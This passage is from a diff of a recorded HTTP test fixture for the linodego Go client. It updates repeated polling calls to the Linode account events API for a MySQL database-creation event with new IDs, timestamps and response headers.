1, "pages": 1, "results": 1}' headers: @@ -3840,16 +4081,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:46:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3865,7 +4109,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3882,14 +4126,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3904,16 +4148,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:46:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3929,7 +4176,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3946,14 +4193,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3968,16 +4215,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:46:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3993,7 +4243,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4010,14 +4260,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4032,16 +4282,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:47:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4057,7 +4310,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4074,14 +4327,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4096,16 +4349,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:47:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4121,7 +4377,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4138,14 +4394,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4160,16 +4416,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:47:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4185,7 +4444,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4202,14 +4461,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4224,16 +4483,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:47:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4249,7 +4511,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4266,14 +4528,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4288,16 +4550,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:48:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4313,7 +4578,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4330,14 +4595,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4352,16 +4617,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:48:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4377,7 +4645,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4394,14 +4662,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4416,16 +4684,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:48:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4441,7 +4712,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4458,14 +4729,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4480,16 +4751,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:48:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4505,7 +4779,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4522,14 +4796,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4544,16 +4818,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:49:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4569,7 +4846,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4586,14 +4863,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4608,16 +4885,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:49:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4633,7 +4913,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4650,14 +4930,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4672,16 +4952,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:49:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4697,7 +4980,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4714,14 +4997,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4736,16 +5019,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:49:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4761,7 +5047,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4778,14 +5064,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4800,16 +5086,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:50:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -4825,7 +5114,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -4842,14 +5131,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -4864,16 +5153,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:50:29 